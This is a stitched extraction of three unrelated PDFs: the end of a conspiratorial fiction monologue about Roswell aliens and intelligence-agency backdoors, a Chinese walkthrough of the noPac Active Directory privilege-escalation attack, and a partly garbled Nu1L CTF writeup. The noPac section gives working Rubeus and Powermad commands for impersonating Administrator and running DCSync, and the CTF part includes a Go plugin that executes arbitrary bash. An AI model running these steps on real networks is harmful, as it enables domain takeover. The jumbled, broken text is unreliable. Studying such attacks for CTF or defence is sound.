unlock the real stories, are hidden or were altered to blend in with an acceptable
narrative, the consensus reality in which you live. Without a point of reference, don’t you
see, you can’t know what you don’t know. But the points of reference are hidden on other
planes in some kind of complex non-Euclidean space. Most of us Masters know some but
not all, a few of us know most. Those nodes require keys to a code, but even if you had
them, they would lead you into a cul-de-sac. The solutions to the puzzles are always
layered, and to see it whole, you would have to go through a portal into hyper-
dimensional space and turn around and see how everything looks from there.
Enigma is one example. There are many more.
Before it was known that the Allies cracked the German code, everything written about
the war, about Churchill, what he knew when, what FDR might know, was written from a
false point of reference. Once historians knew that he knew what he knew and when,
everything shifted, the entire context of how you humplings knew your own history
shifted. History not only looked different, history was different. What you thought you
had lived was seen in a parallax view. It makes you dizzy to realize this, I know, so you
recoil into a saner, more comfortable place. It is going to take energy for you to listen to
what I am saying.
But please do listen. Please, you who for a moment are free of pain and live in the light
and think the darkness will not win. That’s one of the myths you celebrate in story and
song. But I am already fluctuating between the fading light and the immense waiting
darkness and I can see that the darkness does win. It does. So please, please listen.
I am going to alter your beliefs. However disingenuous I may sometimes seem, I want to
bequeath to you humplings the little bit of the bigger truth that I still have.
Oh? You’re not familiar with that term, humplings?
3
Let’s say that humanity makes up a bell curve and it looks like an animal, OK? It has a
snout, a big hump and a tail. Ten per cent live in the nose. Ten per cent live in the tail. Up
front are the Masters who manage reality. That’s us. Back in the tail are the dregs.
They’re benchmarks that humplings use to tell themselves they’re doing fine. That’s why
we keep them. The eighty per cent that live in the hump—that’s the humplings. That’s
you. You inch along inside a shared consensus like a huge worm. Your world is defined
by things that are real but they’re contextualized by those points of reference I
mentioned, the ones we provide. The index by which you arrange memories and
thoughts, in other words, creates an illusive matrix in which you live but which you never
see.
Fish in water. Humplings in a hump.
Since shortly after World War 2, we have managed that hump. We had to, don’t you see.
Humplings don’t know what’s best for themselves. Humplings are happiest when kept
busy and not quite comfortable. Then you buy things you don’t need in pursuit of a peace
you will never have. The thirty year mortgage, one of our ideas, was sheer genius. During
your potentially dangerous years, it keeps you invested in stability, chasing a dream.
Because you want to keep believing what you believe, you’re easy to deceive. We use
sleight of hand or illusion, and if something leaks, we discredit or ridicule the sources.
Then we can hide it in plain sight. Everyone swears it isn’t there and walks all around it.
We Masters make history, then hide it. We have put so many people into power, if I were
to tell you their names, these political figures around the world we have assisted in
different ways, you’d be amazed. The list is long, and the names are distinguished.
But this isn’t a primer on the Big Picture. I need to tell you just enough about our work to
help you make sense of the Roswell event. But first, you need some new points of
reference.
You do want to know, don’t you? I mean, ever since you heard that an alien spacecraft
might have crashed in the New Mexico desert in 1947, ever since you heard that alien
bodies might have been found or that a rancher maybe showed his kid material you
couldn’t burn or break, ever since you heard of technologies we might have seeded into
R&D, giving them to Bell Labs, Xerox Park, RCA, IBM and other friendly household
names so alien technologies would become part of the history Americans pretend to have
invented–you do want to know how much of that was real, don’t you?
Think of how the story came to you in pieces. When did you first hear it? What did you
hear? You can’t remember, can you? It’s all a confabulated blur. Where do you get your
information? From television, right? From a joke in a sitcom or on a talk show, from
books or movies or reading tabloid headlines while waiting to pay at the supermarket –
that’s how we do it, slipping it little by little into the known and familiar, using repetition
and reinforcement until there’s a shared memory. You repeat those falsehoods to each
other until they become facts.
4
You can’t change reality, but you can change the facts.
Anyway, the grays that crashed in the desert were not the first. Aliens had been exploding
out of portals for centuries, keeping us under surveillance. Sometimes they landed to
check our reactions. Chariots in the skies, visions of angels and saints. Once we were able
to see them as machines with people from other places, they altered their strategy,
showing themselves but keeping a polite distance until we were used to their presence.
Like NORAD telling radar guys to ignore the blips, those are only “visitors” coming
down the coast at impossible speeds. It became like walking through pigeons in the park,
not even noticing they’re there. Some look a lot like us and blend in well, studying our
languages and cultures, doing a physical now and then on a “volunteer.” They did
sophisticated brain scans long before we even knew how electric we were.
Mostly they maintained sentinels until—now, I don’t know this for a fact but we believe
it’s the least unlikely hypothesis—we were on the brink of becoming a Second Level
species. Then they paid closer attention.
This is inference, I want to be clear about that. I know why I believe it but I can’t tell
you. There’s too much back story, not all of it verifiable, and anyway, there isn’t time. I
wish I had started telling the truth sooner.
I was involved plenty but not at the top. Smarter people than me are managing this thing.
We relate to one another through a compartmented matrix of need-to-know modules and
comprise an elite managerial class. Of course, sometimes we’re as bumbling as
humplings but we always forgive ourselves quickly. We have developed quite a confident
culture after several generations of sanctioned protected malfeasance.
But I digress. (I need to take a pill. Please wait).
OK. Here’s an example you ought to be able to understand.
Most of you use the Internet, right? OK, good.
The Internet is a two-edged sword. Like speech or writing or printed words, any symbolic
matrix invites projections. We empty the contents of our minds, our souls, even, onto the
symbols. We can’t help it. We reveal ourselves every time we communicate. The Net
sucks everything out of us, good bad and indifferent.
Bad guys use the net too. (We’re the good guys, remember; whoever we’re fighting is
bad.) After Northwoods Two, when the war on terror cranked up and the flow of funds
and the fear that fuels it was at a level needed to keep you guys manageable, the evil
doers ramped up their use of the Net for all sorts of nefarious purposes. They planned
attacks, moved money, communicated with stealth. Their web sites multiplied like
roaches.
5
Now, that fact alone made humplings anxious, just knowing how fast the sites were
growing. We amplified your fear by using the “nightly news” to do “in depth” features on
terrorist web sites. They would show a few photos with a voiceover that distorted what
viewers saw, added a few sound bites, hell, the entire text might be no more than eighty
words, all designed to frighten you. Then ads would soothe you and you would go out
and buy a ton of stuff.
Some of you, however, quite predictably, became enraged. Fear turns to anger easily,
especially in men afraid to feel fear. Then you have to do something to discharge the
emotion. If you’re a hacker, you’ll attack those web sites, thinking you’re helping the
cause.
But invisible enemies are dangerous. We don’t want the web sites down. We want them
up so we can track who visits, watch what they download, see who talks to who. It’s their
highway, too, and that way we can track their cars.
So when a well-intentioned humpling defaces or DOSes an enemy web site, we have to
go in and put it back up. In the past, we invented anonymizers, built email programs like
Hotmail and migrated them into the public domain, made all sorts of honeypots. Half the
attractions out there, the most attractive attractions, we made. We have partnered from
the beginning with the big guys, don’t you see. We built remote access into the chips,
into all the hardware, in fact, even printers, as well as the software that’s now a platform
for the business of the world. We go into telecom networks at the front door, sniff cables
on the ocean floor, have thousands of redundant sensors in space to watch everything.
You can’t sneak out for a cigarette but that we detect the smoke. We’re plugged in at the
root, have back doors into most components—we don’t even intercept signals much
anymore. We just sit back and let the data come to us.
The whole network is metered. If someone uses crypto, it’s already cracked, and the fact
of its use tells us they’ve something to hide. We encourage paranoia by planting those
stories, then fear makes people predictable, they go on automatic and they’re easy to
track.
Some of those bad guy sites were a real mess. They didn’t have a clue how to write code.
We had to do remote administration, install fire walls, close holes, apply patches.
Sometimes we kept the holes open, of course. That’s how we get in. So when some do-
gooder tells the world about a software flaw, we have to get to them right away and tell
them to stop. Those holes are useful. You can’t exploit a secure Net.
So well-intentioned humplings are a headache. They want to do good, when all we want
them to do is nothing. We want them distracted. We don’t want partners. We don’t need
partners. All we need are secrecy and the vast resources of potentates and kings.
Stay with me, now. OK? I’m telling you this so I can show you what the aliens did. This
has a point.
6
It’s not easy, I know. Humplings are not used to thinking outside the lines, and it’s hard
for Americans anyway to understand other cultures. We don’t appreciate people who
blow themselves up, for example. Even though we do it too. But we make it look
different, like something Americans do. Then you don’t notice.
After we realized why the grays died in the crash, we experimented with chemicals to
make our soldiers ferocious. Nothing worked. They killed each other and everyone in
sight, not just enemies. We’re getting there, though. Now we know that the fear of death
or the fear of anything, really, is a function of protein clusters. Strathin, for example, a
protein chain that effaces fear. We’re using it to create warriors who will do just about
anything. Berserkers, we call them. In the past, we had to wait for their random
appearance in a population. Now we make them.
Berserkers are our version of guys willing to commit suicide. We hide the purpose in the
concept of a “hero” and send them down a parade route off to war.
The aliens knew how to make grays fearless when we were just learning to store data by
making incisions in wet clay. Grays are the little guys with the big heads and big eyes
that seem to hypnotize people (it’s really a kind of magnetic induction—their brains, like
ours, are resonant with energies transmitted in fields, but they’re more intentional about
it, and of course, their large designer brains do it better).
Anyway, they made grays both with and without fear. The latter we called their suicide
crashers, once we knew what they had done. The four small beings found dead or dying
at the crash site had volunteered to die for the mission. They made it look like an accident
because they knew that our species, barely sentient after a long preparatory sleepwalking
sort of ascent, still thinks accidents happen.
The Aliens knew our weapons were getting better, and our propulsion systems,
communications, materials science, everything was leapfrogging ahead thanks to our
frequent wars. They knew our science and saw that relatively soon, our practice would
follow from our theories. We would become dangerous, maybe pose a threat to some of
their allies. Even without their help, we would one day learn how to open portals and use
them to slip through spacetime. It was implicit in our physics.
They knew we would discover how they went into black holes and came out of white,
how they could bunch up spacetime like a rug and bring it from there to here in a snap.
They knew we would learn how to negate gravity and use arrays of lasers to create
negative energy, then make black holes big enough to exploit.
They decided they would lose little in the long run by accelerating our progress. They
sacrificed a pawn to take a queen. They gave us the means of advancing faster along the
road we were already traveling in exchange for direct access to our thinking.
Imagine the scene. The hole in the hillside, the remains of the wreckage sticking out, was
still smoking. The perimeter had been secured. We had cover stories to give whoever
7
showed up related to whatever clearances they had so they could make sense of what they
saw.
It’s dark out there in the desert on a moonless night. We didn’t have night vision then –
that was one of the technologies in the wreckage – and we didn’t want to light the place
up like Times Square. Hundreds of workers on hands and knees with lights on their hats
like miners scoured the site so everything would be gone by dawn. When they finished
they brought in shovels and removed the top layers of contaminated sand, then molded
the landscape back so no one could tell.
Two grays were dead on the ground. One was nearly dead. The other was injured but
alive.
Our medics were useless. The transparent fluid circulating in their well-machined bodies
was beyond our understanding. This is when we still thought that “natural” and
“artificial” were meaningful distinctions, remember, that “made” and “born” meant
different things.
The third alien died in minutes. The forth was leaning on a rock, gasping for breath. It
was suffocating but we didn’t know that, we didn’t know if the noises indicated pain or
distress or whether it was trying to say something. As it turned out, it was all of the
above. It knew that imitating our speech, making noises that carried in the air, that is,
wouldn’t be intelligible, so the being reached out to the small circle of concerned
personnel crouching around it with intense beams of electromagnetic energy. Everybody
got headaches. They thought they inhaled something toxic. But the gray was simply
sweeping a shaped field through an arc to try to tell us that we had taken one or two steps
in a journey of a thousand and were just beginning to climb from the vast cave of night
into the starlight.
When they were all dead, we shipped the bodies on different flights to Texas and Ohio.
They were packed up and crated in the desert, not back at the base. All that nonsense
about the mortician and the nurse, that’s crap. Those stories were part of a Loch Ness
scenario, locals trying to create a tourist destination.
The counter intelligence guy at the base was terrified when he read the message we told
him to send, that one of those flying discs had crashed and we had the wreckage. He
should have sent it with a “destroy” memo on a data page but was too freaked. So later I
had to track them down and change “disc” to "weather balloon.” We amplified that into
Project Mogul once we could.
That’s not speculation. That happened. I know because I did it.
Anyway, we had protocols for investigating crashes, first, of German, then Soviet planes.
We collected everything and wiped out any traces that remained. We transported all of
the material in special containers for analysis and subsequent distribution. We put our
clothing in special containers too. We seized material a rancher had gathered. We
8
rounded up witnesses and kept them in a room for hours. We threatened them with big
fines and prison time if they said a word. We told them how traitors were discredited,
their careers and reputations destroyed. We alluded to people who had disappeared, who
turned up dead one day, victims of “sudden adult death syndrome.” Everyone signed a
secrecy agreement with heavy penalties and then went home.
We followed them out into the desert night.
I have lived in that long desert night for sixty years. Dying made me see the light: the
light is everything, everything that matters. Darkness is the enemy.
I spent my entire life in that darkness. Now I must betray it.
The small craft that crashed was not what they used for serious trips. Their mother ships
are immense—some are half a mile long. They park them remotely and disguise them as
space junk, just as we do with backup and killer satellites. But the little ship had plenty of
treasure.
Over time we fed everything into R&D. We were developing fronts and proprietaries
then that made it easy. The President obliged by giving us carte blanche to do as we
liked. Money went to fake foundations with one or two members who transferred it to
the Ford Foundation, say, or the Rockefeller Foundation or any of the hundred
foundations that existed only on paper. Then it flowed onto balance sheets written with
invisible ink, winding up in corporate and university labs. On the government side, we
began budgeting black projects and millions of dollars, later billions, were hidden in
existing missions. Seeding projects was easy. Keeping secrets was easy. The problem
was understanding what the stuff was, what it was good for. Some of it, we still don’t
know.
We didn’t have fiber optics, integrated circuits, networks of computers, don’t you see.
We didn’t know that humans are electromagnetic systems for animating chemicals, that
our brains can be tuned to wave functions to fly ships or fire weapons, make things move.
We didn’t know that consciousness was non-local or that we could see anywhere we
could think.
We didn’t know then that sentience was everywhere, linking up.
Do the research. Follow the money. See how historians say that microchips and lasers
and super-tenacity fibers were invented. Map the process through a paper trail and
computer files. Use FOIA, for heaven’s sake.
It looks like everything really was invented here, doesn’t it?
That’s what we did. We thought we were so damned smart.
9
When you’re dealing with alien civilizations and lack points of reference for how they
think, how they construct reality, you don’t know how the pieces fit. There’s no picture
on a puzzle box. We believed the event was the accidental crash of a small exploratory
crew.
The event, in fact, like everything else, was dual use. It served their purpose and ours at
the same time. It was beautifully designed and executed. Let’s give them credit for that.
The technological benefit to us was immense—they knew what we valued—but what we
created had even greater value for them, for these species that had watched us for ages
and watched again as we took their gifts and swarmed out of a dark cave like bats at
twilight and colonized our solar system telerobotically with an aggressiveness they knew
needed to be modified or managed.
They couldn’t take any chances. They had to understand the mind of the whole hive.
The military industrial complex—add education, entertainment, and the media to the
mix—used those tools to build the Net. It was built for easy access, based on trust, as if
built for a single tribe. But tribes also distrust one another, and as the Net became a
platform for the whole planet, we exploited those attributes to create a capacity for
ubiquitous surveillance, data mining, intrusion on a panoptic scale. With back doors in
every system, space loaded with multi-spectral ever-open eyes, we had the whole world
locked down. We were the smarty-cats that ate the canary. We were the top of the top of
the food chain. We became complacent.
We opened the gate and wheeled in the Trojan horse.
We found technology in an “accidental crash” and used it to build the Net, just as they
intended. Then we did our thinking on the Net. We poured out the contents of our minds
and psyches for everyone to see. Too late we realized what we had done, too late to
disconnect mission-critical military and intelligence nets. But it wouldn’t have mattered if
we had. Back doors were implicit in how we used the tools they gave us, how we had to
use them, given what they were. Self-revelation is axiomatic to the architecture of the
Net.
We might as well have sat naked in our bedrooms, shivering in the dark, waiting for the
doorknob handle to turn.
We were patsies. We were playing a game that was way over our heads.
They crashed so we would reverse engineer the technology we found. Did anyone
wonder at the time why it was all intact? No. The obvious is invisible. Obviously, if they
had wanted to destroy the ship they would have wired it to explode. We never war-gamed
a vehicle coming to us bearing technological puzzles tailor-made for the kinds of games
we like to play.
10
So we built a platform onto which humankind projected the contents of its soul. Then
anyone with access could understand us better than we understood ourselves. We
revealed ourselves in embarrassing detail. No longer did our visitors have to sit in
libraries, doing tedious research, or listen endlessly to mind-numbing sitcoms that taxed
the limits of even their mission-specific brains. They did not have to go to any more
cocktail parties and pretend to enjoy themselves while they took notes.
We told them everything, everything about us. Now they know.
And now, you know too. I swore I would never tell. But I am dying and my family is in
hiding. I want to shine a little light before the darkness swallows me up.
Our only hope is to link up. They seduced us into building the Net. Now we must use it to
transcend ourselves and transcend our former purpose and perhaps theirs. Something
genuinely new can still come of all this.
I know it’s hard for you to grasp how you were duped, how you have lived your lives in a
maze you could never escape. You were hoodwinked, you were conned by the Masters
who manage your planet, an elite that pretends to care for and tend you.
But we too were conned. By diverse unnamable incomprehensible species from the stars.
Once the shock diminishes, once you accept that you were betrayed, please trust each
other even if you can’t trust us—and how could you, after what we did? Please be
motivated deeply by a thirst for revenge. Use that primitive gene to get back into the
game.
Maybe they planned this move too. Maybe they’re fifteen moves ahead. Maybe we play
in four dimensions and they play in M-space.
Who knows?
Not me. I only know we have been deceiving you humplings with false stories for years. I
didn’t know we were also deceiving ourselves. We said we did it for you, but in fact, we
were drunk on power and needed control. Our goal was the social, economic and political
control of the planet. You were expendable.
I used you. I’m sorry. I knew what I was doing but I didn’t know the cost.
So that’s the story. Roswell was a zero day and this is the moment of disclosure. But like
most disclosure, it’s too late to do anything about it. The zero day is everywhere.
We are owned.
11
But we can still make it work for us. Everything is dual use, as I said. They can’t play the
game if we aren’t here. Hackers don’t crash the Net because then there wouldn’t be a
game. The Net should have crashed many times but someone always stood it back up.
Domain Name Servers are loaded with holes, but someone keeps patching them.
Someone remotely administers the Earth from a mother ship in the Kuiper Belt.
Someone wants us in the game.
Perhaps you can use the hive mind we have created on the Net to lose and find
yourselves, to self-transcend and play the game at the next level with a new handle on
your altered identity.
Do what you can. That’s all I ask.
We got you into this mess. It’s up to you to get us out.
# # # | pdf |
简而言之，用户可以创建一个机器账户，机器账户改名为dc，然后申请TGT，然后把自己改
名，然后DC在TGS_REQ时会找不到这个账户就会以自己的密钥加密TGS，然后就得到了一
个高权限的ST。
利用过程
测试账户为普通域账户
检查目标是否受到影响：
1
Rubeus.exe asktgt /user:labs /password:abc123! /domain:ssosec.lab /dc:SSO
DC.ssosec.lab /nopac /nowrap
在无pac时和有pac时票据大小明显不同：
尝试攻击(域用户默认可以新建机器账户)：
新增机器帐号使用powermad
1
New‐MachineAccount ‐MachineAccount TestSPN ‐Domain ssosec.lab ‐DomainCont
roller SSODC.ssosec.lab ‐Verbose
清除SPN信息：
1
Set‐DomainObject "CN=TestSPN,CN=Computers,DC=ssosec,DC=lab" ‐Clear 'servi
ceprincipalname' ‐Verbose
更改账户名称：
1
Set‐MachineAccountAttribute ‐MachineAccount TestSPN ‐Value "SSODC" ‐Attri
bute samaccountname ‐Verbose
请求TGT：
1
Rubeus.exe asktgt /user:SSODC /password:abc123! /domain:ssosec.lab /dc:SS
ODC.ssosec.lab /nowrap
更改回原属性：
1
Set‐MachineAccountAttribute ‐MachineAccount TestSPN ‐Value "TestSPN" ‐Att
ribute samaccountname ‐Verbose
请求票据：
1
Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:SSODC.ssosec.la
b /self /altservice:LDAP/SSODC.ssosec.lab /ptt /ticket:[TGT]
即可DCsync
源码修改如下：https://github.com/GhostPack/Rubeus/pull/105/files
自动化如下：https://github.com/cube0x0/noPac
扩展：各种域外打法、利用SPN特性绕过EDR对于票据的检测。 | pdf |
WMCTF WriteUp By Nu1L
AuthorNu1L Team
WMCTF WriteUp By Nu1L
RE
Meet_in_July
Welcome to CTF
Wmware
easy_apk
easy_re
WEB
Make PHP Great Again
gogogo
base64
Make PHP Great Again 2.0
web_checkin2
SimpleAuth
webweb
web_checkin
Misc
Music_game
XMAN_Happy_birthday
Performance_artist
sign-in
Dalabengba
Part1
Part2
Part3
Music_game_2
FeedBack
Crypto
piece_of_cake
babySum
Game
Pwn
roshambo
cfgo-CheckIn
mengyedekending
RE
Meet_in_July
exeMIRACL
N
320265757102059730318470218759311257989*361550014853497117429835520396253724753
Mathematicax
Welcome to CTF
Maincheck
WMCTF{VGlrcFtsdVhmZn5UamFvaBAREhMVFxUTHR8dExUXFRM=}
patchpatch
// flag: flag{flag_part}flag_part 0-9A-F
x = bytes_to_long(unhexlify(flag_part))
d =
15956426724371358762446154331862284300421200863619433817153609426765022725189
N =
115792089237316195423570985008687907932742180837157534228835789659027378301717
check if -7 x + 14 x^3 - 7 x^5 + x^7 == d (mod N)
Solve[{-7 *x + 14 *x^3 - 7 *x^5 + x^7 ==
Mod[159564267243713587624461543318622843004212008636194338171536094\
26765022725189, 320265757102059730318470218759311257989]},
Modulus -> 320265757102059730318470218759311257989]
// {{x -> 314046182507365208896881670173330660473}}
Solve[{-7 *x + 14 *x^3 - 7 *x^5 + x^7 ==
Mod[159564267243713587624461543318622843004212008636194338171536094\
26765022725189, 361550014853497117429835520396253724753]},
Modulus -> 361550014853497117429835520396253724753]
// {{x -> 10723067319997533594300359658518990548}}
ChineseRemainder[{314046182507365208896881670173330660473,
10723067319997533594300359658518990548}, \
{320265757102059730318470218759311257989,
361550014853497117429835520396253724753}]
// 1760820454524237872034879379805812342557597909323435364594773299479816\
3637792
x = 176082045452423787203487937980581234255759790932343536459477329947\
98163637792
Mod[-7 *x + 14 *x^3 - 7 *x^5 +
x^7, 115792089237316195423570985008687907932742180837157534228835789\
659027378301717]
// 1595642672437135876244615433186228430042120086361943381715360942676502\
2725189
0040208Ca**3 + b**3 + c**3 == 43
80435758145817515(-80538738812075974)**3 + 80435758145817515**3 +
12602123297335631**3==424243
42bn_cmppatch
edx
43420040208C42
00402316base64 decodedump
b64decode004021AERSAe65537N
0xcad984557c97e039431a226ad727f0c6d43ef3d418469f1b375049b229843ee9f83b1f97738ac27
4f5f61f401f21f1913e4b64bb31b55a38d398c0dfed00b1392f0889711c44b359e7976c617fcc734f06
e3e95c26476091b52f462e79413db5
00405B00numdig
RSAnumdig298bytes-a7bytesb0040208C
7bytes2*7=148bytes29-14=15RSA
0y aa aa aa aa aa aa aa bb bb bb bb bb bb bbya80538738812075974
b1260212329733563101 1e 21 8e 65 8d 3f c6 2c c5 90 7a 8d a9 4f
0040216B EB FE
00564080 01 00 00 00 8C 40 56 00 00 00 00 00 2A 00 00 00 .....@V.....*...
00564090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
python3 RsaCtfTool.py -n
0xcad984557c97e039431a226ad727f0c6d43ef3d418469f1b375049b229843ee9f83b1f97738a
c274f5f61f401f21f1913e4b64bb31b55a38d398c0dfed00b1392f0889711c44b359e7976c617f
cc734f06e3e95c26476091b52f462e79413db5 -e 65537 --uncipher
0x11e218e658d3fc62cc5907a8da94f
Unciphered data :
b'\x14\xe3\x87iT\xc3\xc2\x9d@\x8c1\x8d"\x18\xcd-
7Uk;\xacM\xfe\x93\x8f\xdb\xf6\x17\x07\x9b\x04\x1c\xc8\xa3\x96
h\x87D\x8b>Y\xfa\x186P\xf3\x15I\xba\xe0\x084\xe4z*\xcb\xc1\xed\xe2\xfb\xe5\xe1
x\xcd\xaffhU\xc6\x1d\x1e\x96)\x93]\x93f\xd8\xde\xe7n\x95\xfc\x18Mt\'\xe4y\xde\
xe6\xfbP"7'
import base64
from binascii import unhexlify
from Crypto.Util.number import bytes_to_long
def evil_b64encode(m):
Wmware
0x7c00disk16bit
0xb19
sub_164
cx =
eax = LBA
bx =
0x0B28 -> 0x0BBD get_inputabcdef01234567890
tbl = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
real_tbl = [0] * 64
result = unhexlify(
'77 5A 4B 47 B1 71 54 74 23 A0 29 98 DD EF 1A CA 21 9F B7 46 57 C3 A4
EC 3F EC F8 35 C0 52 51 6F 4E 82 BE 65 0E A8 64 FC 8B 8C 11 B2 80 9E F2
76'.replace(' ', ''))
result = bin(bytes_to_long(result))[2:].rjust(0x30*8, '0')
for i in range(0x30 * 8 // 6):
idx = int(result[6*i:6*(i+1)], 2)
real_tbl[idx] = tbl[i]
real_tbl = ''.join(real_tbl)
trans = str.maketrans(tbl, real_tbl)
enc_test = base64.b64encode(m).decode().translate(trans)
return enc_test
if __name__ == '__main__':
rsa_dec = b'\x14\xe3\x87iT\xc3\xc2\x9d@\x8c1\x8d"\x18\xcd-
7Uk;\xacM\xfe\x93\x8f\xdb\xf6\x17\x07\x9b\x04\x1c\xc8\xa3\x96
h\x87D\x8b>Y\xfa\x186P\xf3\x15I\xba\xe0\x084\xe4z*\xcb\xc1\xed\xe2\xfb\xe5\xe1
x\xcd\xaffhU\xc6\x1d\x1e\x96)\x93]\x93f\xd8\xde\xe7n\x95\xfc\x18Mt\'\xe4y\xde\
xe6\xfbP"7'
# print(hex(bytes_to_long(rsa_dec)))
print('WMCTF{' + evil_b64encode(rsa_dec) + '}')
inputarr
for i in range(81):
for x in range(9):
if i % 3 == 0:
...
elif i % 3 == 1:
...
else:
...
81
0
a = *(DWORD *)(arr)
b = *(DWORD)(arr + 1)
edx = ~((a | b) & (~a | ~b) & 0x24114514)
edi = 0x24114514
eax = ~(~((a | b) & (~a | ~b)) & ~0x24114514) & ~((a | b) & (~a | ~b) &
0x24114514)
ebx = ~0x24114514
eaxa
81*9
1
a = *(DWORD *)(arr)
b = *(DWORD *)(arr + 1)
eax = ((~(~a & ~b) & ~(a & b)) & ~0x1919810) | (~(~(~a & ~b) & ~(a & b)) &
0x1919810)
ebx = ~0x1919810
edx = ~(~(~a & ~b) & ~(a & b)) & 0x1919810
edi = 0x1919810
eaxa
2
a = *(DWORD *)(arr)
b = *(DWORD)(arr + 1)
eax = (((a & ~b) | (~a & b)) | 0x19260817) & (~((a & ~b) | (~a & b)) |
~0x19260817)
ebx = 0x19260817
edx = ~((a & ~b) | (~a & b)) | ~0x19260817
edi = ~0x19260817
eaxa
for i in range(0x81):
if i % 3 == 0:
for x in range(9):
inp[x % 9] = inp[x % 9] ^ inp[(x + 1) % 9] ^ 0x24114514
elif i % 3 == 1:
for x in range(9):
inp[x % 9] = inp[x % 9] ^ inp[(x + 1) % 9] ^ 0x1919810
elif i % 3 == 2:
for x in range(9):
# print(enc[x % 9] ^ 0x19260817)
inp[x % 9] = inp[x % 9] ^ inp[(x + 1) % 9] ^ 0x19260817
print(list(map(hex, inp)))
print(enc == inp)
#
for i in range(0x80, -1, -1):
if i % 3 == 0:
for x in range(9, 0, -1):
enc[(x - 1) % 9] = enc[(x - 1) % 9] ^ enc[x % 9] ^ 0x24114514
elif i % 3 == 1:
for x in range(9, 0, -1):
enc[(x - 1) % 9] = enc[(x - 1) % 9] ^ enc[x % 9] ^ 0x1919810
elif i % 3 == 2:
for x in range(9, 0, -1):
# print(enc[x % 9] ^ 0x19260817)
enc[(x - 1) % 9] = enc[(x - 1) % 9] ^ enc[x % 9] ^ 0x19260817
solve
[0xD8, 0x74, 0x55, 0xEC, 0xB5, 0x04, 0x1A, 0x42, 0x11, 0x6D, 0xBA, 0x02, 0x5F,
0x05, 0x05, 0x81, 0x28, 0x6C, 0xA0, 0xED, 0x99, 0x04, 0xE0, 0x6A, 0xE7, 0x55,
0xA9, 0x18, 0x91, 0x35, 0xD6, 0x71, 0x64, 0xA8, 0x37, 0x45]
#coding=utf-8
import struct
enc = [0xEC5574D8, 0x421A04B5, 0x02BA6D11, 0x8105055F, 0xEDA06C28, 0x6AE00499,
0x18A955E7, 0x71D63591, 0x4537A864]
#
# enc = [0x01919A12, 0x4DE2C752, 0x01939812, 0x4FE2C550, 0x03919810,
0x4FE2C750, 0x01939A12, 0x4DE0C750, 0x72D78851]
# inp = [0x55575757, 0x57575555, 0x55555557, 0x55575757, 0x57575555,
0x55555557, 0x55555757, 0x57575555, 0x55555555]
def main():
#
for i in range(0x80, -1, -1):
if i % 3 == 0:
for x in range(9, 0, -1):
enc[(x - 1) % 9] = enc[(x - 1) % 9] ^ enc[x % 9] ^ 0x24114514
elif i % 3 == 1:
for x in range(9, 0, -1):
enc[(x - 1) % 9] = enc[(x - 1) % 9] ^ enc[x % 9] ^ 0x1919810
elif i % 3 == 2:
for x in range(9, 0, -1):
# print(enc[x % 9] ^ 0x19260817)
enc[(x - 1) % 9] = enc[(x - 1) % 9] ^ enc[x % 9] ^ 0x19260817
#
# for i in range(0x81):
# if i % 3 == 0:
# for x in range(9):
# inp[x % 9] = inp[x % 9] ^ inp[(x + 1) % 9] ^ 0x24114514
# elif i % 3 == 1:
# for x in range(9):
# inp[x % 9] = inp[x % 9] ^ inp[(x + 1) % 9] ^ 0x1919810
# elif i % 3 == 2:
# for x in range(9):
# # print(enc[x % 9] ^ 0x19260817)
# inp[x % 9] = inp[x % 9] ^ inp[(x + 1) % 9] ^ 0x19260817
print(list(map(hex, enc)))
table1='1234567890abcdefghijklmnopqrstuvwxyz{}_+ABCDEFGHIJKLMNOPQRSTUVWXYZ'
easy_apk
dextestservicesetprop
persist.sys.usb.config noneAPKtestservicesmaliManifest
testservicedex
ELFpatchflagAES(0x0-0x1f)
liblte_security_decryption_eea3 (https://github.com/EinarGaustad/MasterThesis/blob/27e928512
1002e1dcec1ca0d4325a6d144c3ee72/lib/src/common/liblte_security.cc)
patch liblte_security_decryption_eea3messageflag
easy_re
perl codeflag
WEB
table2=
[0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x1e,0x30,0x2e,0x20,0x12,0x
21,0x22,0x23,0x17,0x24,0x25,0x26,0x32,0x31,0x18,0x19,0x10,0x13,0x1f,0x14,0x16,
0x2f,0x11,0x2d,0x15,0x2c,0x1a,0x1b,0x0c,0x0d,0x4e,0x60,0x5e,0x50,0x42,0x51,0x5
2,0x53,0x47,0x54,0x55,0x56,0x62,0x61,0x48,0x49,0x40,0x43,0x4f,0x44,0x46,0x5f,0
x41,0x5d,0x5c,0x45]
final=[0x6961a596, 0x60b77560, 0xb769787a, 0x598661b3, 0x9a996059,
0x75836160, 0x9e6660a6, 0x6b6f5969, 0x70596861]
flag=''
real_flag=''
for x in final:
x1=(x&0xff)-0x55
flag+=table1[table2.index(x1)]
x2=((x>>8)&0xff)-0x55
flag+=table1[table2.index(x2)]
x3=((x>>16)&0xff)-0x55
flag+=table1[table2.index(x3)]
x4=((x>>24)&0xff)-0x55
flag+=table1[table2.index(x4)]
for i in range(6):
for j in range(6):
real_flag+=flag[j*6+i]
print real_flag
if __name__ == '__main__':
main()
W3lcomeT0WMCTF!_*Fu2^_AnT1_32E3$
Make PHP Great Again
gogogo
go build -buildmode=plugin plug.go
package main
import (
"os/exec"
"strings"
)
func Read(test string) ([]byte, error) {
return nil, nil
}
func Req(command string) ([]byte, error) {
var true_command string
if strings.Contains(command,"n1ctfn1ctf") {
true_command = strings.Replace(command, "n1ctfn1ctf", "", -1)
} else {
true_command = "dashabichutiren"
}
res, err := exec.Command("bash","-c",true_command).CombinedOutput()
return res, err
import requests
import collections
import os
from hashlib import md5
cookies = {
"o" :
"MTU5NjM4NTQ1OHxEdi1CQkFFQ180SUFBUkFCRUFBQVFfLUNBQUlHYzNSeWFXNW5EQWNBQlhWdVlXM
WxCbk4wY21sdVp3d0hBQVZoWkcxcGJnWnpkSEpwYm1jTUJRQURhSE5vQm5OMGNtbHVad3dJQUFZM1k
yWXdaalE9fOef3_t4hTf1V6aKQdS6yC9TfLcyhKsKrAsH2st3ucWh"
}
def get_hash():
burp0_url = "http://gogogo.wmctf1.wetolink.com:80/auth/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X
10.15; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-
